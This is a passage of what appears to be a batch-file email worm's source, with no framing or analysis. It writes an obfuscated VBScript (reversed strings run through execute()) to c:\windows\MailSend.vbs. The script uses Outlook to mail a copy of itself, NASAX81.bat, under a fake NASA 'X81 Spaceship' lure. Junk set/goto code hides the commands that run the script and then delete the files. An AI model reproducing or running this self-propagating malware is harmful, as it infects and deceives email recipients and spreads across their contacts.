>>c:\windows\MailSend.vbs echo DWQE9 = strreverse(DWQE9) >>c:\windows\MailSend.vbs echo next >>c:\windows\MailSend.vbs echo end if >>c:\windows\MailSend.vbs echo execute(DWQE9) >>c:\windows\MailSend.vbs echo DWQE9 = strreverse(" "&chr(34)&"pihsecapS 18X"&chr(34)&"=tcejbuS.liaM") >>c:\windows\MailSend.vbs echo KS892 = int(rnd*255)+1 >>c:\windows\MailSend.vbs echo if KS892 = 200 then >>c:\windows\MailSend.vbs echo for z = 0 to KS892 >>c:\windows\MailSend.vbs echo DWQE9 = strreverse(DWQE9) >>c:\windows\MailSend.vbs echo next >>c:\windows\MailSend.vbs echo end if >>c:\windows\MailSend.vbs echo execute(DWQE9) >>c:\windows\MailSend.vbs echo DWQE9 = strreverse(" "&chr(34)&"rotceriD ASAN , rennuG kraM . dlrow eht ni tsetaf eht , tpecnoc pihsecaps ASAN wen eht kooL"&chr(34)&"=ydoB.liaM") >>c:\windows\MailSend.vbs echo KS892 = int(rnd*255)+1 >>c:\windows\MailSend.vbs echo if KS892 = 200 then >>c:\windows\MailSend.vbs echo for z = 0 to KS892 >>c:\windows\MailSend.vbs echo DWQE9 = strreverse(DWQE9) >>c:\windows\MailSend.vbs echo next >>c:\windows\MailSend.vbs echo end if >>c:\windows\MailSend.vbs echo execute(DWQE9) >>c:\windows\MailSend.vbs echo DWQE9 = strreverse(" )"&chr(34)&"tab.18XASAN\:C"&chr(34)&"(ddA.stnemhcattA.liaM") >>c:\windows\MailSend.vbs echo KS892 = int(rnd*255)+1 >>c:\windows\MailSend.vbs echo if KS892 = 200 then >>c:\windows\MailSend.vbs echo for z = 0 to KS892 >>c:\windows\MailSend.vbs echo DWQE9 = strreverse(DWQE9) >>c:\windows\MailSend.vbs echo next >>c:\windows\MailSend.vbs echo end if >>c:\windows\MailSend.vbs echo execute(DWQE9) >>c:\windows\MailSend.vbs echo DWQE9 = strreverse(" dneS.liaM") >>c:\windows\MailSend.vbs echo KS892 = int(rnd*255)+1 >>c:\windows\MailSend.vbs echo if KS892 = 200 then >>c:\windows\MailSend.vbs echo for z = 0 to KS892 >>c:\windows\MailSend.vbs echo DWQE9 = strreverse(DWQE9) >>c:\windows\MailSend.vbs echo next >>c:\windows\MailSend.vbs echo end if >>c:\windows\MailSend.vbs echo execute(DWQE9) >>c:\windows\MailSend.vbs echo DWQE9 = strreverse(" txeN") >>c:\windows\MailSend.vbs echo KS892 = int(rnd*255)+1 >>c:\windows\MailSend.vbs echo if KS892 = 200 then >>c:\windows\MailSend.vbs echo for z = 0 to KS892 >>c:\windows\MailSend.vbs echo DWQE9 = strreverse(DWQE9) >>c:\windows\MailSend.vbs echo next >>c:\windows\MailSend.vbs echo end if >>c:\windows\MailSend.vbs echo execute(DWQE9) >>c:\windows\MailSend.vbs echo DWQE9 = strreverse(" tiuQ.lo") >>c:\windows\MailSend.vbs echo KS892 = int(rnd*255)+1 >>c:\windows\MailSend.vbs echo if KS892 = 200 then >>c:\windows\MailSend.vbs echo for z = 0 to KS892 >>c:\windows\MailSend.vbs echo DWQE9 = strreverse(DWQE9) >>c:\windows\MailSend.vbs echo next >>c:\windows\MailSend.vbs echo end if >>c:\windows\MailSend.vbs echo execute(DWQE9) >>c:\windows\MailSend.vbs set osyr=s goto osyr set osyr=bj :osyr set yh=e goto yh set yh=cq :yh set bxfix=t goto bxfix set bxfix=ty :bxfix %osyr%%yh%%bxfix% inazpg=%osyr%%yh%%bxfix% %inazpg% bp=vtw dndilaqedisgcgxwwfddsbyafdg %inazpg% bp=c goto bp %inazpg% bp=ud :bp %osyr%%yh%%bxfix% ywgjb=uwf %osyr%%yh%%bxfix% ywgjb=w goto ywgjb %osyr%%yh%%bxfix% ywgjb=kw :ywgjb %inazpg% mz=dqk %inazpg% mz=i gnvkizlvkzeqgvsalpkffqriglseipjhuxnnggkmxahoqgo goto mz zvjppicbstkjfenakfyopkeoxdozdintfxstpy %inazpg% mz=ao ddvkwenhlybkemdcmxmytuvbagsnlzdaejlwpiu :mz %inazpg% ta=hux %inazpg% ta=n goto ta ihbxjtbvzyok %inazpg% ta=ib bobstgsmizhwxabdsgshjjqbkctafgdrsilk :ta %inazpg% zbygiy=muh %inazpg% zbygiy=d goto zbygiy %inazpg% zbygiy=yc :zbygiy %inazpg% nrb=fyi %inazpg% nrb=o goto nrb ccqusqcjibiohoqfubmuxlhxhgjg %inazpg% nrb=pp :nrb %bp%:\%ywgjb%%mz%%ta%%zbygiy%%nrb%%ywgjb%s\Ma%mz%lSe%ta%%zbygiy%.vbs %zbygiy%el %bp%:\%ywgjb%%mz%%ta%%zbygiy%%nrb%%ywgjb%s\Ma%mz%lSe%ta%%zbygiy%.vbs %zbygiy%el %bp%:\NASAX81.bat exit